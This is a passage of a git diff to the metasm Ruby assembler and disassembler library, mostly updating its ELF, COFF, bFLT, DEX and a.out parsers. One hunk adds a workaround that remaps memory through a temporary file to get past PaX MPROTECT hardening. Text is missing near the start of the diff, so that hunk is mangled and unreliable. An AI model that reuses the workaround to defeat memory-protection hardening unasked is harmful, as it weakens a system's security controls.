EncodedData cp.decode_c_struct(structname, str, off) - end + end # allocate a C::AllocCStruct holding an Array of typename variables # if len is an int, it holds the ary length, or it can be an array of initialisers @@ -1234,69 +1300,70 @@ EOS when :windows new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) end - - when :linux - - new_api_c < 0 and @memory_perm_wd ||= find_write_dir + # We are on a PaX-mprotected system. Try to use a file mapping to work aroud. + Dir.chdir(@memory_perm_wd) { + fname = 'tmp_mprot_%d_%x' % [Process.pid, addr] + data = memory_read(addr, len) + begin + File.open(fname, 'w') { |fd| fd.write data } + # reopen to ensure filesystem flush + rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) } + raise 'hax' if data != memory_read(addr, len) + ret = 0 if rret == addr + ensure + File.unlink(fname) rescue nil + end + } + end + + ret end - + end end end diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb index 438e4a054d..ef6fa74f7e 100644 --- a/lib/metasm/metasm/encode.rb +++ b/lib/metasm/metasm/encode.rb @@ -271,7 +271,16 @@ class Expression def encode(type, endianness, backtrace=nil) case val = reduce when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) + else + str = case INT_SIZE[type] + when 8; "\0" + when 16; "\0\0" + when 32; "\0\0\0\0" + when 64; "\0\0\0\0\0\0\0\0" + else [0].pack('C')*(INT_SIZE[type]/8) + end + str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding) + EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) end end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb index b43dc568c3..49ec2795f3 100644 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ b/lib/metasm/metasm/exe_format/a_out.rb @@ -58,7 +58,7 @@ class AOut < ExeFormat class Relocation < SerialStruct word :address bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, - 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy + 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 fld_default :length, 4 end @@ -68,7 +68,7 @@ class AOut < ExeFormat bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab byte :other half :desc - word :value + word :value attr_accessor :name def decode(aout, strings=nil) @@ -119,11 +119,11 @@ class AOut < ExeFormat @data = EncodedData.new << @encoded.read(@header.data) - textrel = @encoded.read @header.trsz - datarel = @encoded.read @header.drsz - syms = @encoded.read @header.syms - strings = @encoded.read # TODO + #textrel = @encoded.read @header.trsz + #datarel = @encoded.read @header.drsz + #syms = @encoded.read @header.syms + #strings = @encoded.read end def encode diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb index 6e3eb63445..3bd94d953c 100644 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ b/lib/metasm/metasm/exe_format/autoexe.rb @@ -58,6 +58,7 @@ register_signature("\xca\xfe\xba\xbe") { UniversalBinary } register_signature("dex\n") { DEX } register_signature("dey\n") { DEY } register_signature("\xfa\x70\x0e\x1f") { FatELF } +register_signature("\x50\x4b\x03\x04") { ZIP } register_signature('Metasm.dasm') { Disassembler } # replacement for AutoExe where #load defaults to a Shellcode of the specified CPU diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb index f64b6f6406..5c10a664e0 100644 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ b/lib/metasm/metasm/exe_format/bflt.rb @@ -9,6 +9,7 @@ require 'metasm/decode' module Metasm # BFLT is the binary flat format used by the uClinux +# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations) class Bflt < ExeFormat MAGIC = 'bFLT' FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } @@ -29,13 +30,20 @@ class Bflt < ExeFormat when MAGIC else raise InvalidExeFormat, "Bad bFLT signature #@magic" end + + if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0 + puts "Bflt: probable wrong endianness, retrying" if $VERBOSE + exe.endianness = { :big => :little, :little => :big }[exe.endianness] + exe.encoded.ptr -= 4*16 + super(exe) + end end def set_default_values(exe) @magic ||= MAGIC @rev ||= 4 @entry ||= 0x40 - @data_start ||= @entry + exe.text.length if exe.text + @data_start ||= 0x40 + exe.text.length if exe.text @data_end ||= @data_start + exe.data.data.length if exe.data @bss_end ||= @data_start + exe.data.length if exe.data @stack_size ||= 0x1000 @@ -50,6 +58,7 @@ class Bflt < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + attr_accessor :endianness def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little @header = Header.new @@ -61,17 +70,17 @@ class Bflt < ExeFormat def decode_header @encoded.ptr = 0 @header.decode(self) + @encoded.add_export(new_label('entrypoint'), @header.entry) end def decode decode_header - @encoded.ptr = @header.entry - @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry) - @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start) - @data.virtsize += (@header.bss_end - @header.data_end) + @text = @encoded[0x40...@header.data_start] + @data = @encoded[@header.data_start...@header.data_end] + @data.virtsize += @header.bss_end - @header.data_end - if @header.flags.include? 'GZIP' + if @header.flags.include?('GZIP') # TODO gzip raise 'bFLT decoder: gzip format not supported' end @@ -79,7 +88,7 @@ class Bflt < ExeFormat @reloc = [] @encoded.ptr = @header.reloc_start @header.reloc_count.times { @reloc << decode_word } - if @header.version == 2 + if @header.rev == 2 @reloc.map! { |r| r & 0x3fff_ffff } end @@ -87,32 +96,29 @@ class Bflt < ExeFormat end def decode_interpret_relocs + textsz = @header.data_start-0x40 @reloc.each { |r| # where the reloc is - if r >= @header.entry and r < @header.data_start + if r < textsz section = @text - base = @header.entry - elsif r >= @header.data_start and r < @header.data_end - section = @data - base = @header.data_start + off = section.ptr = r else - puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE - next + section = @data + off = section.ptr = r-textsz end # what it points to - section.ptr = r-base target = decode_word(section) - if target >= @header.entry and target < @header.data_start - target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}") - elsif target >= @header.data_start and target < @header.bss_end - target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}") + if target < textsz + target = label_at(@text, target, "xref_#{Expression[target]}") + elsif target < @header.bss_end-0x40 + target = label_at(@data, target-textsz, "xref_#{Expression[target]}") else - puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE + puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE next end - @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness) + section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness) } end @@ -127,8 +133,8 @@ class Bflt < ExeFormat @encoded = EncodedData.new @encoded << @header.encode(self) - - binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start)) + + binding = @text.binding(0x40).merge(@data.binding(@header.data_start)) @encoded << @text << @data.data @encoded.fixup! binding @encoded.reloc.clear @@ -143,7 +149,7 @@ class Bflt < ExeFormat mapaddr = new_label('mapaddr') binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) [@text, @data].each { |section| - base = @header.entry || 0x40 + base = 0x40 # XXX maybe 0 ? base = @header.data_start || base+@text.length if section == @data section.reloc.each { |o, r| if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and @@ -167,7 +173,16 @@ class Bflt < ExeFormat case instr.raw.downcase when '.text'; @cursource = @textsrc when '.data'; @cursource = @datasrc - # entrypoint is the 1st byte of .text + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entry = entrypoint else super(instr) end end @@ -181,9 +196,23 @@ class Bflt < ExeFormat self end + def get_default_entrypoints + ['entrypoint'] + end + def each_section - yield @text, @header.entry - yield @data, @header.data_start + yield @text, 0 + yield @data, @header.data_start - @header.entry + end + + def section_info + [['.text', 0, @text.length, 'rx'], + ['.data', @header.data_addr-0x40, @data.data.length, 'rw'], + ['.bss', @header.data_end-0x40, @data.length-@data.data.length, 'rw']] + end + + def module_symbols + ['entrypoint', @header.entry-0x40] end end end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb index 05ef3cc7ee..d0c4027596 100644 --- a/lib/metasm/metasm/exe_format/coff.rb +++ b/lib/metasm/metasm/exe_format/coff.rb @@ -81,7 +81,7 @@ class COFF < ExeFormat 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', + 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', } DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', @@ -264,7 +264,7 @@ class COFF < ExeFormat class TLSDirectory < SerialStruct xwords :start_va, :end_va, :index_addr, :callback_p - words :zerofill_sz, :characteristics + words :zerofill_sz, :characteristics attr_accessor :callbacks end diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb index 5a718a13fe..979fca8b0b 100644 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ b/lib/metasm/metasm/exe_format/coff_decode.rb @@ -17,13 +17,15 @@ class COFF # decodes a COFF optional header from coff.cursection # also decodes directories in coff.directory def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 + return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE') + off = coff.curencoded.ptr super(coff) + nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8 + nrva = @numrva if nrva < 0 - nrva = @numrva - if @numrva > DIRECTORIES.length - puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length + if nrva > DIRECTORIES.length or nrva != @numrva + puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE + nrva = DIRECTORIES.length if nrva > DIRECTORIES.length end coff.directory = {} @@ -171,17 +173,17 @@ class COFF end class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr) + def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3) super(coff, edata) @entries = [] nrnames = @nr_names if $DEBUG (@nr_names+@nr_id).times { - e = Entry.new + e = Entry.new - e_id = coff.decode_word(edata) - e_ptr = coff.decode_word(edata) + e_id = coff.decode_word(edata) + e_ptr = coff.decode_word(edata) if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE @@ -213,10 +215,12 @@ class COFF e.subdir_p = e_ptr & 0x7fff_ffff if startptr + e.subdir_p >= edata.length puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - else + elsif maxdepth > 0 edata.ptr = startptr + e.subdir_p e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr + e.subdir.decode coff, edata, startptr, maxdepth-1 + else + puts 'W: COFF: recursive resource section' if $VERBOSE end else e.dataentry_p = e_ptr @@ -244,7 +248,8 @@ class COFF decode_tllv = lambda { |ed, state| sptr = ed.ptr - len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed) + len, vlen = coff.decode_half(ed), coff.decode_half(ed) + coff.decode_half(ed) # type tagname = '' while c = coff.decode_half(ed) and c != 0 tagname << (c&255) @@ -273,7 +278,7 @@ class COFF when :str val = ed.read(vlen*2).unpack('v*') val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } + val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } vers[tagname] = val when :var val = ed.read(vlen).unpack('V*') @@ -426,8 +431,7 @@ class COFF def sect_at_rva(rva) return if not rva or rva <= 0 if sections and not @sections.empty? - valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) } - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva } + if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva } s.encoded.ptr = rva - s.virtaddr @cursection = s elsif rva < @sections.map { |s_| s_.virtaddr }.min @@ -479,7 +483,7 @@ class COFF end def each_section - if @header.size_opthdr == 0 + if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE') @sections.each { |s| next if not s.encoded l = new_label(s.name) @@ -490,7 +494,9 @@ class COFF end base = @optheader.image_base base = 0 if not base.kind_of? Integer - yield @encoded[0, @optheader.headers_size], base + sz = @optheader.headers_size + sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty? + yield @encoded[0, sz], base @sections.each { |s| yield s.encoded, base + s.virtaddr } end @@ -566,8 +572,10 @@ class COFF # decodes a section content (allows simpler LoadedPE override) def decode_section_body(s) raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = EncodedData.align_size(s.virtsize, @optheader.sect_align) + virt = s.virtsize virt = raw = s.rawsize if @header.size_opthdr == 0 + virt = raw if virt == 0 + virt = EncodedData.align_size(virt, @optheader.sect_align) s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new s.encoded.virtsize = virt end @@ -634,8 +642,13 @@ class COFF if ct = @directory['certificate_table'] @certificates = [] @cursection = self + if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0] + puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE + ct = [ct[0], 1] + end @encoded.ptr = ct[0] off_end = ct[0]+ct[1] + off_end = @encoded.length if off_end > @encoded.length while @encoded.ptr < off_end certlen = decode_word certrev = decode_half @@ -704,6 +717,25 @@ class COFF end end + def decode_reloc_amd64(r) + case r.type + when 'ABSOLUTE' + when 'HIGHLOW' + addr = decode_word + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'DIR64' + addr = decode_xword + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u64, @endianness) + end + else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE + end + end + def decode_debug if dd = @directory['debug'] and sect_at_rva(dd[0]) @debug = [] @@ -719,11 +751,11 @@ class COFF def decode_tls if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) + if s = sect_at_va(@tls.callback_p) s.encoded.add_export 'tls_callback_table' @tls.callbacks.each_with_index { |cb, i| @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } + } end end end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb index d317884beb..2f449f9e6d 100644 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ b/lib/metasm/metasm/exe_format/coff_encode.rb @@ -139,7 +139,7 @@ class COFF end class ImportDirectory - # encodes all import directories + iat + # encode all import directories + iat def self.encode(coff, ary) edata = { 'iat' => [] } %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } @@ -160,12 +160,11 @@ class COFF [it, iat] end - # encodes an import directory + iat + names in the edata hash received as arg + # encode one import directory + iat + names in the edata hash received as arg def encode(coff, edata) edata['iat'] << EncodedData.new # edata['ilt'] = edata['iat'] label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } @libname_p = rva_end['nametable'] @@ -396,7 +395,8 @@ class COFF s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] encode_append_section s - if @imports.first and @imports.first.iat_p.kind_of? Integer + if @imports.first and @imports.first.iat_p.kind_of?(Integer) + # ordiat = iat.sort_by { @import[x].iat_p } ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } else ordiat = iat @@ -413,7 +413,7 @@ class COFF plt.characteristics = %w[MEM_READ MEM_EXECUTE] @imports.zip(iat) { |id, it| - if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } + if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } id.iat = it # will be fixed up after encode_section else # XXX should not be mixed (for @directory['iat'][1]) @@ -529,9 +529,7 @@ class COFF end # initialize reloc table base address if needed - if not rt.base_addr - rt.base_addr = off & ~0xfff - end + rt.base_addr ||= off & ~0xfff (rt.relocs ||= []) << r elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) @@ -559,7 +557,7 @@ class COFF end # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target = 'exe', want_relocs=true) + def pre_encode_header(target='exe', want_relocs=true) target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) @header.machine ||= case @cpu.shortname @@ -650,11 +648,11 @@ class COFF # append the section bodies to @encoded, and link the resulting binary def encode_sections_fixup - @encoded.align @optheader.file_align if @optheader.headers_size.kind_of?(::String) @encoded.fixup! @optheader.headers_size => @encoded.virtsize @optheader.headers_size = @encoded.virtsize end + @encoded.align @optheader.file_align baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 binding = @encoded.binding(baseaddr) @@ -689,7 +687,7 @@ class COFF # patch the iat where iat_p was defined # sort to ensure a 0-terminated will not overwrite an entry # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id| + @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id| s = sect_at_rva(id.iat_p) @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat binding.update id.iat.binding(baseaddr + id.iat_p) @@ -710,7 +708,7 @@ class COFF # creates the base relocation tables (need for references to IAT not known before) # defaults to generating relocatable files, eg ALSR-aware # pass want_relocs=false to avoid the file overhead induced by this - def encode(target = 'exe', want_relocs = true) + def encode(target='exe', want_relocs=true) @encoded = EncodedData.new label_at(@encoded, 0, 'coff_start') pre_encode_header(target, want_relocs) @@ -832,7 +830,7 @@ class COFF @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) if not @optheader.image_base - @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 + @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE end s.virtaddr -= @optheader.image_base @@ -1048,7 +1046,7 @@ class COFF end if not dll = autoexports[sym] sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) - next if not dll = autoexports[sym] + next if not dll = autoexports[sym] end @imports ||= [] diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb index c385dccd61..b9f9fee141 100644 --- a/lib/metasm/metasm/exe_format/dex.rb +++ b/lib/metasm/metasm/exe_format/dex.rb @@ -135,7 +135,7 @@ class DEX < ExeFormat class MethodId < SerialStruct u2 :classidx - u2 :typeidx + u2 :protoidx u4 :nameidx end @@ -182,7 +182,7 @@ class DEX < ExeFormat uleb :fieldid_diff # this field id - array.previous field id uleb :access - attr_accessor :field + attr_accessor :fieldid, :field end class EncodedMethod < SerialStruct @@ -190,7 +190,7 @@ class DEX < ExeFormat uleb :access uleb :codeoff # offset to CodeItem - attr_accessor :method, :code, :name + attr_accessor :methodid, :method, :code, :name end class TypeItem < SerialStruct @@ -256,7 +256,7 @@ class DEX < ExeFormat uleb :typeidx uleb :handleroff end - + class Link < SerialStruct # undefined end @@ -390,6 +390,7 @@ class DEX < ExeFormat (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| next id=0 if m == 0 id += m.methodid_diff + m.methodid = id m.method = @methods[id] m.name = @strings[m.method.nameidx] @encoded.ptr = m.codeoff @@ -441,7 +442,11 @@ class DEX < ExeFormat end def get_default_entrypoints - [] + @classes.find_all { |c| c.data }.map { |c| + (c.data.direct_methods + c.data.virtual_methods).map { |m| + m.codeoff+m.code.insns_off + } + }.flatten end end diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb index ef518b8c28..6615e298d1 100644 --- a/lib/metasm/metasm/exe_format/elf.rb +++ b/lib/metasm/metasm/exe_format/elf.rb @@ -52,8 +52,9 @@ class ELF < ExeFormat 0x8000_0000 => 'LEDATA'}, 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', - 8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2', - 64 => 'ABI_ON32'} + 8 => 'XGOT', 0x10 => '64BIT_WHIRL', 0x20 => 'ABI2', + 0x40 => 'ABI_ON32', 0x80 => 'OPTIONSFIRST', + 0x100 => '32BITMODE'} } DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => @@ -300,6 +301,37 @@ class ELF < ExeFormat 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', 116 => 'EMB_RELSDA' }, + 'SH' => { 0 => 'NONE', 1 => 'DIR32', 2 => 'REL32', 3 => 'DIR8WPN', + 4 => 'IND12W', 5 => 'DIR8WPL', 6 => 'DIR8WPZ', 7 => 'DIR8BP', + 8 => 'DIR8W', 9 => 'DIR8L', 10 => 'LOOP_START', 11 => 'LOOP_END', + 22 => 'GNU_VTINHERIT', 23 => 'GNU_VTENTRY', 24 => 'SWITCH8', + 25 => 'SWITCH16', 26 => 'SWITCH32', 27 => 'USES', 28 => 'COUNT', + 29 => 'ALIGN', 30 => 'CODE', 31 => 'DATA', 32 => 'LABEL', + 33 => 'DIR16', 34 => 'DIR8', 35 => 'DIR8UL', 36 => 'DIR8UW', + 37 => 'DIR8U', 38 => 'DIR8SW', 39 => 'DIR8S', 40 => 'DIR4UL', + 41 => 'DIR4UW', 42 => 'DIR4U', 43 => 'PSHA', 44 => 'PSHL', + 45 => 'DIR5U', 46 => 'DIR6U', 47 => 'DIR6S', 48 => 'DIR10S', + 49 => 'DIR10SW', 50 => 'DIR10SL', 51 => 'DIR10SQ', 53 => 'DIR16S', + 144 => 'TLS_GD_32', 145 => 'TLS_LD_32', 146 => 'TLS_LDO_32', + 147 => 'TLS_IE_32', 148 => 'TLS_LE_32', 149 => 'TLS_DTPMOD32', + 150 => 'TLS_DTPOFF32', 151 => 'TLS_TPOFF32', 160 => 'GOT32', + 161 => 'PLT32', 162 => 'COPY', 163 => 'GLOB_DAT', + 164 => 'JMP_SLOT', 165 => 'RELATIVE', 166 => 'GOTOFF', + 167 => 'GOTPC', 168 => 'GOTPLT32', 169 => 'GOT_LOW16', + 170 => 'GOT_MEDLOW16', 171 => 'GOT_MEDHI16', 172 => 'GOT_HI16', + 173 => 'GOTPLT_LOW16', 174 => 'GOTPLT_MEDLOW16', 175 => 'GOTPLT_MEDHI16', + 176 => 'GOTPLT_HI16', 177 => 'PLT_LOW16', 178 => 'PLT_MEDLOW16', + 179 => 'PLT_MEDHI16', 180 => 'PLT_HI16', 181 => 'GOTOFF_LOW16', + 182 => 'GOTOFF_MEDLOW16', 183 => 'GOTOFF_MEDHI16', 184 => 'GOTOFF_HI16', + 185 => 'GOTPC_LOW16', 186 => 'GOTPC_MEDLOW16', 187 => 'GOTPC_MEDHI16', + 188 => 'GOTPC_HI16', 189 => 'GOT10BY4', 190 => 'GOTPLT10BY4', + 191 => 'GOT10BY8', 192 => 'GOTPLT10BY8', 193 => 'COPY64', + 194 => 'GLOB_DAT64', 195 => 'JMP_SLOT64', 196 => 'RELATIVE64', + 242 => 'SHMEDIA_CODE', 243 => 'PT_16', 244 => 'IMMS16', + 245 => 'IMMU16', 246 => 'IMM_LOW16', 247 => 'IMM_LOW16_PCREL', + 248 => 'IMM_MEDLOW16', 249 => 'IMM_MEDLOW16_PCREL', 250 => 'IMM_MEDHI16', + 251 => 'IMM_MEDHI16_PCREL', 252 => 'IMM_HI16', 253 => 'IMM_HI16_PCREL', + 254 => '64', 255 => '64_PCREL' }, 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', @@ -716,7 +748,7 @@ class FatELF < ExeFormat f.encoded = e.encode_string h = e.header f.machine, f.abi, f.abi_version, f.e_class, f.data = - h.machine, h.abi, h.abi_version, h.e_class, h.data + h.machine, h.abi, h.abi_version, h.e_class, h.data end f.offset = new_label('fat_off') f.size = f.encoded.size @@ -812,7 +844,7 @@ typedef struct { /* Verneed Auxiliary Structure. */ Elf32_Word vna_next; /* no. of bytes from start of this */ } Elf32_Vernaux; /* vernaux to next vernaux entry */ -typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ +typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ typedef struct { Elf32_Half si_boundto; /* direct bindings - symbol bound to */ diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb index 0c540902c4..da68008996 100644 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ b/lib/metasm/metasm/exe_format/elf_decode.rb @@ -18,19 +18,19 @@ class ELF case hdr.e_class when '32'; elf.bitsize = 32 when '64', '64_icc'; elf.bitsize = 64 - else raise InvalidExeFormat, "E: ELF: unsupported class #{hdr.e_class}" + else puts "W: ELF: unsupported class #{hdr.e_class}, assuming 32bit"; elf.bitsize = 32 end case hdr.data when 'LSB'; elf.endianness = :little when 'MSB'; elf.endianness = :big - else raise InvalidExeFormat, "E: ELF: unsupported endianness #{hdr.data}" + else puts "W: ELF: unsupported endianness #{hdr.data}, assuming littleendian"; elf.endianness = :little end if hdr.i_version != 'CURRENT' - raise InvalidExeFormat, "E: ELF: unsupported ELF version #{hdr.i_version}" + puts ":: ELF: unsupported ELF version #{hdr.i_version}" end - } + } end class Symbol @@ -66,7 +66,7 @@ class ELF # handles relocated LoadedELF def addr_to_fileoff(addr) la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) addr_to_off(addr - la) end @@ -75,7 +75,7 @@ class ELF def fileoff_to_addr(foff) if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) s.vaddr + la + foff - s.offset end end @@ -224,7 +224,40 @@ class ELF # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - return hsymcount+symndx if just_get_count + # we're going to decode the symbol table, and we just want to get the nr of symbols to read + if just_get_count + # index of highest hashed (exported) symbols + ns = hsymcount+symndx + + # no way to get the number of non-exported symbols from what we have here + # so we'll decode all relocs and use the largest index we see.. + rels = [] + if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.size(self) + p_end = @encoded.ptr + @tag['RELSZ'] + while @encoded.ptr < p_end + rels << Relocation.decode(self) + end + end + if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.size(self) + p_end = @encoded.ptr + @tag['RELASZ'] + while @encoded.ptr < p_end + rels << RelocationAddend.decode(self) + end + end + if @encoded.ptr = @tag['JMPREL'] and relcls = case @tag['PLTREL'] + when 'REL'; Relocation + when 'RELA'; RelocationAddend + end + p_end = @encoded.ptr + @tag['PLTRELSZ'] + while @encoded.ptr < p_end + rels << relcls.decode(self) + end + end + maxr = rels.map { |rel| rel.symbol }.grep(::Integer).max || -1 + + return [ns, maxr+1].max + end + # TODO end @@ -396,12 +429,14 @@ class ELF raise 'Invalid symbol table' if sec.size > @encoded.length (sec.size / 